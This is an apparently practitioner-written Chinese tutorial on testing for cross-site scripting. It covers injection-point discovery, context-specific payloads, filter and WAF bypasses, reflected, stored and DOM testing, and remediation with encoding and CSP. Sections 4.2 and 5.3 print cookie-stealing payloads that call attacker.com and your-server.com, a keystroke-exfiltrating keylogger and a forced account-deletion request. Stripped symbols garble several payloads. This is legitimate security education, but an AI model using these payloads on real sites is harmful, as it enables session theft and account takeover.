
1. 从一个真实测试场景说起为什么XSS至今仍是Web安全的头号威胁去年帮一个做内容社区的朋友做安全巡检他们的产品日活不算大但用户发帖、评论、私信功能一应俱全。我用一个再简单不过的payload——img srcx onerroralert(document.cookie)——在评论区提交后页面刷新的一瞬间弹出了当前用户的Cookie信息。朋友当时脸色就变了因为他一直以为前端框架自带的转义机制已经足够安全。这个案例不是孤例。XSS跨站脚本攻击在各类漏洞排行榜上常年霸榜不是因为它有多高深恰恰相反——它的门槛极低但防御的覆盖面极广任何一个输出点疏忽都可能成为突破口。这篇文章不打算堆砌教科书式的定义而是从一个测试者的视角把XSS漏洞测试的完整流程拆开揉碎怎么找注入点、怎么构造payload、怎么绕过过滤、怎么验证危害、怎么给出修复建议。适合有一定Web基础、想系统掌握XSS测试方法的安全从业者也适合开发同学用来做自查。我个人的习惯是拿到一个目标先不急着上扫描器而是手动走一遍业务流程把每一个“用户输入可能被回显”的位置标记出来。这个习惯让我在多次测试中发现了自动化工具漏掉的存储型XSS——因为那些注入点藏在分页参数、搜索历史、用户昵称这些不起眼的地方。2. XSS漏洞的核心分类与测试思路拆解2.1 反射型、存储型、DOM型三种类型的本质区别很多人把XSS分类背得滚瓜烂熟但一到实战就分不清该用哪种测试策略。我用一个简单的类比来解释反射型XSS就像有人在你面前喊了一句话你复述了一遍——话说完就没了只在当下那一刻生效存储型XSS像是有人在你家门口贴了一张告示每个路过的人都会看到直到有人把它撕掉DOM型XSS则更特殊它不经过服务器端处理完全是浏览器里的JavaScript代码自己“把毒药吃下去了”。从测试角度这三种类型的操作路径完全不同反射型重点找URL参数、表单提交后立即回显的位置。典型场景是搜索框、错误提示页、跳转提示页。存储型重点找数据写入数据库后在其他页面展示的位置。典型场景是用户昵称、评论内容、个人简介、工单标题。DOM型重点找前端JavaScript中直接操作innerHTML、document.write、eval等危险函数的位置。这类漏洞服务器端日志里看不到payload必须用浏览器开发者工具或专门的DOM监控工具来发现。我个人的经验是存储型XSS的危害最大因为它不需要诱导用户点击特制链接只要用户访问了被污染的页面就会中招。而DOM型XSS最容易被开发忽视因为服务端代码看起来“很干净”问题全在前端。2.2 测试前的信息收集哪些地方值得重点关注在开始构造payload之前我会花大约30%的时间做信息收集。这一步做扎实了后面的测试效率会高很多。具体来说我会关注以下几类位置输入点清单URL查询参数、POST表单字段、HTTP请求头Referer、User-Agent、Cookie、文件上传的文件名、JSON API的字段值。其中请求头注入经常被忽略但如果后端把User-Agent写入了日志并在管理后台展示就是一个典型的存储型XSS。输出点清单HTML标签之间、HTML属性值内、JavaScript代码块内、CSS样式内、URL地址内。不同的输出上下文需要的payload完全不同。比如在script标签内你输入scriptalert(1)/script是没用的因为浏览器会把/script当作闭合标签你需要用alert(1)直接构造JavaScript语句。技术栈指纹前端框架React、Vue、Angular、后端语言Java、PHP、Python、模板引擎Thymeleaf、Jinja2、Freemarker、WAF类型。这些信息决定了你该用什么样的绕过策略。比如React默认会对JSX中的变量进行转义但如果开发者用了dangerouslySetInnerHTML那就等于自己打开了大门。注意信息收集阶段不要发送任何攻击性payload先用无害的特殊字符如探测回显情况避免触发WAF封禁IP。2.3 测试策略的选择手动优先工具辅助我见过太多人一上来就开扫描器结果要么被WAF封了IP要么扫出一堆误报。我的建议是手动测试为主工具为辅。手动测试能让你理解业务逻辑发现工具覆盖不到的角落工具则用来做批量检测和覆盖度补充。具体分工是这样的测试方式适用场景优势局限手动测试核心业务、复杂交互、需要绕过的场景精准、可深入、能理解上下文耗时、依赖经验自动化扫描大量相似页面、初步排查快速、覆盖广误报多、难以处理复杂逻辑浏览器插件DOM型XSS检测、实时监控直观、能捕获前端行为需要人工判断我通常先用浏览器插件如DOM Invader快速过一遍前端再用Burp Suite的Repeater手动验证可疑点最后用扫描器做补充。这个顺序能保证既不漏掉DOM型漏洞又不会在无效告警上浪费时间。3. 核心细节解析与实操要点从注入点发现到Payload构造3.1 如何精准定位XSS注入点定位注入点这件事说穿了就是回答一个问题我输入的内容最终出现在了页面的哪个位置这个问题看似简单但实际操作中有很多干扰因素。我的标准操作流程是这样的第一步给每个参数赋一个唯一标识符比如test1234。不要用test这种常见词因为页面里可能本来就有这个词会干扰判断。第二步提交请求后查看页面源代码不是Elements面板是View Source搜索这个标识符。为什么要看源代码而不是Elements因为Elements面板显示的是浏览器解析后的DOM有些被转义的内容在DOM里看起来是正常的但在源代码里能看到原始形态。第三步分析标识符出现的上下文。具体分以下几种情况出现在divtest1234/div之间这是HTML上下文直接尝试scriptalert(1)/script或img srcx onerroralert(1)。出现在input valuetest1234中这是属性上下文需要先闭合属性尝试scriptalert(1)/script。出现在scriptvar a test1234;/script中这是JavaScript上下文尝试;alert(1);//或/scriptscriptalert(1)/script。出现在a hreftest1234中这是URL上下文尝试javascript:alert(1)。第四步如果标识符没有出现在页面中检查是否被存储到了数据库但在其他页面展示。这时候需要去用户中心、管理后台等地方搜索。实操心得很多测试者只关注GET参数和POST表单忽略了JSON请求体中的字段。现代Web应用大量使用JSON API如果后端把JSON字段值直接拼接到HTML中返回同样存在XSS。测试时记得把Content-Type改为application/json手动构造JSON请求体。3.2 不同上下文下的Payload构造技巧Payload构造是XSS测试的核心技能但很多人只会用scriptalert(1)/script这一招。实际上不同的输出上下文需要完全不同的构造思路。我整理了一份速查表输出上下文示例代码有效Payload说明HTML标签间div输入/divscriptalert(1)/script最基础的情况HTML属性内双引号input value输入scriptalert(1)/script先闭合属性再注入HTML属性内单引号input value输入scriptalert(1)/script注意引号类型JavaScript字符串内var a输入;;alert(1);//闭合字符串并注释后续JavaScript代码块内script输入/scriptalert(1)直接写JS代码URL属性内a href输入javascript:alert(1)利用伪协议CSS样式内stylecolor:输入red;background:url(javascript:alert(1))老版本浏览器有效这里有一个容易被忽视的细节HTML属性内的注入如果属性值没有被引号包裹比如input value输入那么你不需要闭合引号直接输入onmouseoveralert(1)就能生效。这种情况在老旧代码中偶尔能遇到。另一个进阶技巧是利用HTML标签的自动闭合特性。比如你输入svg onloadalert(1)即使前面的标签没有正确闭合浏览器也会尝试解析这个svg标签并触发onload事件。类似的标签还有img、iframe、details等。3.3 绕过常见过滤机制的实战方法实际测试中目标系统往往会有各种过滤机制。我把常见的过滤方式和对应的绕过方法整理如下大小写绕过如果过滤规则只匹配小写的script可以尝试ScRiPtalert(1)/ScRiPt。这种过滤方式非常初级但在一些老旧系统中仍然存在。双写绕过如果系统把script替换为空字符串可以输入scrscriptiptalert(1)/scrscriptipt替换后变成scriptalert(1)/script。编码绕过HTML实体编码、URL编码、JavaScript编码都可以用来绕过基于关键词的过滤。比如img srcx onerroralert(1)可以写成img srcx onerror#97;#108;#101;#114;#116;(1)。标签替换如果script被过滤可以换用img、svg、body、input等标签的事件属性来执行JavaScript。注释干扰在payload中插入HTML注释或JavaScript注释打乱过滤规则的关键词匹配。比如scr!-- --iptalert(1)/scr!-- --ipt。注意绕过测试要在授权范围内进行不要对生产环境造成实际影响。建议在测试环境中先验证绕过方法再在授权范围内对目标进行验证。我个人的经验是绕过过滤的关键在于理解过滤器的实现逻辑。如果过滤器是基于黑名单的那就找它没覆盖到的标签或事件如果是基于白名单的那就找白名单内的标签有没有可利用的属性。比如有些系统允许a标签那就可以尝试a hrefjavascript:alert(1)click/a。4. 完整实操过程从发现到验证的标准化流程4.1 测试环境搭建与工具准备在开始任何测试之前我会先搭建一个隔离的测试环境。这不是多此一举——直接在目标系统上测试一方面可能触发WAF封禁另一方面如果payload被存储下来可能影响其他用户。我的测试环境通常包括本地靶场用Docker快速部署一些开源的漏洞演练环境用来验证payload的有效性。常用的有DVWA、Pikachu、XSS-Labs等。浏览器配置安装好开发者工具插件关闭一些可能干扰测试的安全策略仅在测试环境中。代理工具Burp Suite或类似工具用于拦截和修改请求。Payload管理工具我习惯用一个文本文件分类管理常用的payload按上下文和绕过类型整理测试时直接复制粘贴。工具选型上我不追求最新最炫的而是追求稳定和可控。Burp Suite的Repeater和Intruder是我用得最多的两个模块前者用于手动验证后者用于批量测试。浏览器端我主要用开发者工具的Console和Network面板配合DOM断点来追踪DOM型XSS。4.2 反射型XSS的完整测试流程反射型XSS是最容易测试的类型因为它的反馈是即时的。我以搜索功能为例走一遍完整流程第一步正常搜索。在搜索框输入test提交后观察URL变化。假设URL变成了https://example.com/search?qtest。第二步探测特殊字符。把搜索词换成test提交后查看页面源代码搜索这些字符。如果发现和被原样输出说明存在XSS可能。第三步构造基础payload。输入scriptalert(1)/script提交后观察是否弹窗。如果没有弹窗查看源代码确认payload是否被转义或过滤。第四步尝试绕过。如果script被过滤尝试img srcx onerroralert(1)如果onerror被过滤尝试svg onloadalert(1)如果所有事件都被过滤尝试a hrefjavascript:alert(1)click/a。第五步验证危害。弹窗只是证明漏洞存在真正的危害验证需要展示攻击者能做什么。比如用scriptnew Image().srchttps://attacker.com/steal?cdocument.cookie/script来验证Cookie窃取的可能性在授权测试中用自己控制的服务器接收请求。实操心得测试反射型XSS时注意观察URL中参数的编码方式。有些系统会对URL参数做一次URL解码后再输出这时候你需要对payload做双重URL编码。比如%253Cscript%253E解码一次变成%3Cscript%3E再解码一次才变成script。4.3 存储型XSS的发现与验证存储型XSS的测试流程比反射型多了一个“持久化”的环节。我通常从以下几个位置入手用户资料类字段昵称、签名、个人简介、头像URL。这些字段的特点是“一次写入多处展示”。我在个人简介里输入img srcx onerroralert(1)然后去个人主页、帖子列表、评论区域查看是否弹窗。内容发布类字段评论、留言、工单标题、文章标题。这类字段的展示位置通常比较明确但有些系统会在管理后台以不同方式渲染可能在用户端被转义了在管理端却没有。文件上传类字段文件名、文件描述。有些系统允许上传文件后自定义文件名如果文件名被存储并在文件列表中展示就可能存在存储型XSS。验证存储型XSS时我特别关注展示位置的多样性。同一个数据可能在PC端页面、移动端页面、管理后台、邮件通知中以不同方式渲染。只要有一个位置没有正确转义漏洞就成立。4.4 DOM型XSS的检测与利用DOM型XSS的检测需要换一套思路。因为payload不经过服务器传统的抓包工具看不到完整的攻击链。我的方法是第一步监控危险函数。在浏览器Console中重写innerHTML、document.write、eval等函数打印调用栈。这样当页面执行到这些函数时我能看到数据来源。第二步追踪source到sink的路径。DOM型XSS的本质是数据从“source”如location.hash、location.search、document.referrer流向“sink”如innerHTML、eval。我用浏览器开发者工具的Sources面板设置DOM断点追踪数据流动。第三步构造利用URL。如果发现location.hash被直接赋值给innerHTML那么构造https://example.com/page#img srcx onerroralert(1)就能触发。DOM型XSS的一个典型场景是单页应用的路由处理。很多前端路由库会从URL中提取参数并渲染到页面上如果处理不当就会形成DOM型XSS。测试时重点关注#后面的内容和?后面的参数在前端JavaScript中的使用方式。5. 常见问题与排查技巧实录5.1 Payload被转义了怎么办这是测试中最常见的问题。你输入script页面显示lt;scriptgt;。这说明系统做了HTML实体编码。但这不代表没有漏洞你需要判断编码发生的时机和位置。如果编码发生在输出时且所有输出点都做了编码那确实没有XSS。但如果编码只发生在部分输出点或者编码方式不完整比如只编码了和没有编码引号就还有机会。我的排查方法是输入img srcx onerroralert(1)查看源代码中这个payload的形态。如果变成了lt;img srcx onerroralert(1)gt;说明标签被编码了但属性内的内容没有编码。这时候如果输出上下文在属性内比如input valuelt;img srcx onerroralert(1)gt;虽然标签无法闭合但如果你能闭合属性值仍然可以注入事件。另一个思路是寻找编码遗漏的字符。有些系统只编码了和但忘记编码。这时候你可以利用HTML实体编码的二次解码特性输入lt;scriptgt;如果系统把编码成了amp;那输出就是amp;lt;scriptamp;gt;浏览器渲染后显示lt;scriptgt;不会执行。但如果系统没有编码输出就是lt;scriptgt;浏览器会把它解码成script并执行。5.2 WAF拦截了请求怎么绕过WAFWeb应用防火墙是XSS测试中最大的障碍之一。常见的WAF拦截特征包括请求中包含script、onerror、alert(等关键词。绕过WAF的核心思路是让payload看起来不像payload。具体方法包括使用不常见的标签和事件details open ontogglealert(1)、marquee onstartalert(1)、videosource onerroralert(1)。拆分关键词用JavaScript的字符串拼接或编码来隐藏敏感函数。比如alert(1)可以写成top[alert](1)或(function(){})[constructor](alert(1))()。利用编码和混淆Base64编码、Unicode编码、十六进制编码。比如alert(1)可以写成\u0061lert(1)。改变请求方式如果GET请求被拦截尝试POST如果POST被拦截尝试修改Content-Type为application/json或multipart/form-data。注意WAF绕过测试需要在授权范围内进行且不要使用自动化工具高频请求避免对目标系统造成压力。我踩过的一个坑是花了大量时间绕过WAF结果发现目标系统本身在输出时做了正确的转义即使绕过了WAF也无法执行。所以先确认漏洞是否存在再考虑绕过WAF顺序不要搞反。5.3 弹窗了但不知道危害怎么证明alert(1)弹窗只能证明JavaScript被执行了但很多开发人员会说“弹个窗而已没什么危害”。这时候你需要进一步证明漏洞的实际影响。我的做法是分层次验证第一层Cookie窃取。用scriptnew Image().srchttps://your-server.com/c?document.cookie/script验证是否能获取用户Cookie。如果能获取到会话Cookie攻击者就可以直接登录受害者账号。第二层页面篡改。用scriptdocument.body.innerHTMLh1页面已被篡改/h1/script验证是否能修改页面内容。这可以证明攻击者能进行钓鱼攻击。第三层键盘记录。用scriptdocument.onkeypressfunction(e){new Image().srchttps://your-server.com/k?e.key}/script验证是否能记录用户按键。这可以证明攻击者能窃取用户输入的密码等敏感信息。第四层请求伪造。用scriptfetch(/api/delete-account,{method:POST})/script验证是否能以受害者身份执行操作。这可以证明攻击者能进行CSRF级别的攻击。把这些验证结果整理成报告开发人员就能直观理解漏洞的严重性了。5.4 常见问题速查表问题现象可能原因排查方法解决思路输入被原样输出但不弹窗输出在非执行上下文查看源代码确认上下文根据上下文调整payload输入被HTML实体编码输出时做了转义检查编码字符范围寻找编码遗漏的字符或上下文请求被WAF拦截触发关键词规则逐步减少payload复杂度使用混淆、编码、冷门标签弹窗但Cookie为空Cookie设置了HttpOnly查看Cookie属性改用其他验证方式证明危害DOM型XSS无法触发数据流向被阻断用DOM断点追踪寻找其他source到sink的路径存储型XSS不生效展示位置做了转义检查所有展示位置寻找未转义的展示点6. 修复建议与防御要点从测试者视角给开发者的建议6.1 输出编码最有效的防御手段从测试者的角度看正确的输出编码能挡住90%以上的XSS攻击。但关键在于“正确”二字——不同的输出上下文需要不同的编码方式。HTML上下文用HTML实体编码把、、、、分别编码为lt;、gt;、amp;、quot;、#x27;。JavaScript上下文用JavaScript编码把非字母数字字符编码为\xHH或\uHHHH。URL上下文用URL编码把特殊字符编码为%HH。我见过很多系统只做了部分编码比如只编码了和但没编码引号。这在HTML标签间是安全的但在属性内就不安全了。所以编码必须覆盖所有特殊字符且必须根据输出上下文选择正确的编码方式。6.2 内容安全策略最后一道防线CSP内容安全策略不能阻止XSS漏洞的存在但可以限制漏洞被利用的方式。一个配置良好的CSP可以阻止内联脚本执行、限制脚本来源、禁止eval等危险函数。我建议开发者在响应头中添加类似这样的CSPContent-Security-Policy: default-src self; script-src self; style-src self; img-src self data:; object-src none; base-uri self这个策略的含义是只允许加载同源资源禁止内联脚本和eval禁止object标签限制base标签。即使攻击者成功注入了script标签浏览器也会因为CSP限制而拒绝执行。但要注意CSP的部署需要逐步推进因为很多老系统大量使用内联脚本直接上严格CSP会导致功能异常。我的建议是先上报告模式Content-Security-Policy-Report-Only收集违规报告逐步改造代码最后再切换到强制模式。6.3 输入验证的边界与局限很多开发者把希望寄托在输入验证上比如过滤script关键词。但从测试者的角度看基于黑名单的输入验证几乎总是可以被绕过的。因为HTML和JavaScript的语法太灵活了攻击者有无数种方式构造可执行的payload。输入验证应该做的是“白名单”而非“黑名单”。比如用户名只允许字母数字和下划线那就用正则^[a-zA-Z0-9_]$来验证而不是去过滤script。白名单验证虽然严格但安全性高得多。另外输入验证应该作为纵深防御的一层而不是唯一的一层。即使输入验证被绕过了输出编码和CSP仍然能提供保护。6.4 开发自查清单如果你是一名开发者想在上线前自查XSS问题我建议按以下清单逐项检查所有用户输入在输出到HTML时是否根据上下文做了正确的编码是否使用了innerHTML、document.write、eval等危险函数如果用了数据来源是否可信是否设置了CSP响应头策略是否足够严格Cookie是否设置了HttpOnly和Secure属性富文本编辑器是否使用了成熟的白名单过滤库如DOMPurify前端框架的“危险”API如React的dangerouslySetInnerHTML、Vue的v-html是否被滥用文件上传的文件名是否在展示时做了编码错误页面是否回显了用户输入如果回显了是否做了编码这份清单不能保证100%没有XSS但能覆盖绝大多数常见场景。我在实际测试中发现大部分XSS漏洞都源于对上述某一项的忽视。7. 我个人的测试体会与进阶方向做了这么多年XSS测试我最大的体会是工具能帮你发现问题但只有理解业务逻辑才能发现真正有价值的漏洞。自动化扫描器能扫出反射型XSS但存储型XSS往往藏在业务流程的深处需要你像正常用户一样去使用产品才能发现那些“数据写入后在其他地方展示”的路径。另一个体会是XSS的防御比攻击难得多。攻击者只需要找到一个突破口而防御者需要堵住所有输出点。这就要求开发团队建立一套统一的输出编码规范而不是每个页面各自为政。我在测试中经常发现同一个系统里有的页面做了编码有的没做——这通常是因为不同开发者用了不同的模板或不同的编码习惯。如果你想在XSS测试上更进一步我建议从两个方向深入一是研究前端框架特有的XSS向量比如React的javascript:URL、Vue的模板注入、Angular的沙箱逃逸二是研究浏览器特性带来的新攻击面比如postMessage、Service Worker、Web Components。这些领域相对冷门但在实际测试中往往能发现高质量的漏洞。最后分享一个小技巧在测试存储型XSS时我习惯用img srcx onerroralert(document.domain)而不是alert(1)。因为document.domain能告诉你payload在哪个域下执行这对于判断漏洞影响范围很有帮助。如果弹窗显示的是主站域名说明漏洞影响主站如果显示的是子站域名影响范围就小一些。这个细节在写报告时能让你的漏洞评级更有说服力。